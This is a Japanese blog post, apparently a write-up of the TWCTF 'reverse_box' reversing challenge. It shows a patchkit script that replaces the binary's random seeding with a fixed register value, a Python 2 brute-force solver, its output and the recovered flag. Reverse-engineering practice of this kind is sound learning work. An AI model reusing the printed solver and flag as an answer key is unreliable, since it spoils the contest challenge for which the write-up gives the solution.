0x80485b1:   89 45 f4                   mov dword [ ebp + 0xfffffff4 ], eax

競技中は変な意地を張ってしまい (a) でやろうとしてしまいました。結果はバイナリと同じSボックスを生成できずに撃沈しました。

今日は (b) でやってみました。 乱数要素の排除は、 0x8048593〜0x80485a7を一旦 nop で潰しつつ、 mov eax, X を入れて、Sボックスの種となるeaxを思い通りの値にできるようにすることを意味します。

これをするために patchkit というpythonツールを利用しました。

github.com

(インストールでちょっとトラップがあったので、気が向いたら記事にしようかな)

パッチは次のもの(patch.py)を使いました。同じパッチでパラメータをもたせる手段が見つからなかったので、環境変数でなんとかしちゃいました。

import os

"""
0x8048593:   c7 04 24 00 00 00 00       mov dword [ esp ], 0x0
0x804859a:   e8 61 fe ff ff             call 0x8048400 <time>
0x804859f:   89 04 24                   mov dword [ esp ], eax
0x80485a2:   e8 99 fe ff ff             call 0x8048440 <srand>
0x80485a7:   e8 d4 fe ff ff             call 0x8048480 <rand>
0x80485ac:   25 ff 00 00 00             and eax, 0xff
0x80485b1:   89 45 f4                   mov dword [ ebp + 0xfffffff4 ], eax
0x80485b4:   83 7d f4 00                cmp dword [ ebp + 0xfffffff4 ], 0x0
0x80485b8:   74 ed                      jz 0x80485a7 <function_804858d+0x1a>
"""

def simple_patch(pt):
    # pt.patch(0x8048593, hex='90' * 25) # NOT Works
    pt.patch(0x8048593, asm='nop;' * 25)
    pt.patch(0x8048593, asm='mov eax, ' + os.environ['EAX'])

あとは、第一段階でeaxの値を255から0までの総当りで探索して適切なeaxを求め、 第二段階でflagを総当りで探索〜っ、てコードを書き、動かして終了です。

import string
import subprocess

target = "95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a"
eax = -1

for i in range(255, 0, -1):
    if i % 20 == 0:
        print "[+] current: " + str(i)
    p = subprocess.Popen(["/home/katc/bin/patchkit/patch", "reverse_box", "patch.py"], 
        stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False, env={"EAX": str(i)})
    out, err = p.communicate()
    p = subprocess.Popen("./reverse_box.patched " + "TWCTF{" + "A" * (len(target) - 7) + "}", 
        shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, err = p.communicate()
    # print out[:12]
    if out[:12] == "95eeaf95ef94":
        print "[+] EAX = " + str(i)
        eax = i
        break
    else:
        p = subprocess.Popen(["rm", "reverse_box.patched"], 
            stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False)
        out, err = p.communicate()        

flag = "TWCTF{"
while True:
    for _c in string.ascii_letters + string.digits + "_!-":
        test = flag + _c
        test += 'A' * (len(target) / 2 - 1 - len(test))
        test += "}"
        # if _c == "a":
        #     print test

        p = subprocess.Popen(["./reverse_box.patched", test], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False)
        out, err = p.communicate()
        if out[:len(target)] == target:
            flag += _c
            print "[+] flag found! " + flag + "}"
            exit()
        offset = len(flag) * 2
        if out[offset:offset+2] == target[offset:offset+2]:
            flag += _c
            print flag
            break


"""
$ ./reverse_box ${FLAG}
95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a
"""

"""
% python2 solve.py
[+] current: 240
[+] current: 220
[+] EAX = 214
TWCTF{5
TWCTF{5U
TWCTF{5UB
TWCTF{5UBS
TWCTF{5UBS7
TWCTF{5UBS71
TWCTF{5UBS717
TWCTF{5UBS717U
TWCTF{5UBS717U7
TWCTF{5UBS717U71
TWCTF{5UBS717U710
TWCTF{5UBS717U710N
TWCTF{5UBS717U710N_
TWCTF{5UBS717U710N_C
TWCTF{5UBS717U710N_C1
TWCTF{5UBS717U710N_C1P
TWCTF{5UBS717U710N_C1PH
TWCTF{5UBS717U710N_C1PH3
TWCTF{5UBS717U710N_C1PH3R
TWCTF{5UBS717U710N_C1PH3R_
TWCTF{5UBS717U710N_C1PH3R_W
TWCTF{5UBS717U710N_C1PH3R_W1
TWCTF{5UBS717U710N_C1PH3R_W17
TWCTF{5UBS717U710N_C1PH3R_W17H
TWCTF{5UBS717U710N_C1PH3R_W17H_
TWCTF{5UBS717U710N_C1PH3R_W17H_R
TWCTF{5UBS717U710N_C1PH3R_W17H_R4
TWCTF{5UBS717U710N_C1PH3R_W17H_R4N
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M1
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M12
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0
[+] flag found! TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}
"""

flag: TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}


いやぁ、昨年のMMA CTFが面白かったので今年も期待していたのですが、解いていてワクワクする問題が多くてよかったです。

海外を意識したのか、メンバーのせいなのかは知りませんが、昨年より問題の難易度が高く、解けた数は昨年よりも減りました。 しかしながら、自分の1年間の成長を感じることができる問題セットになっていると感じました(すげぇ個人的な感想で参考にならないやつだw)

運営マジお疲れ様でした〜。来年も期待させてくださいっ!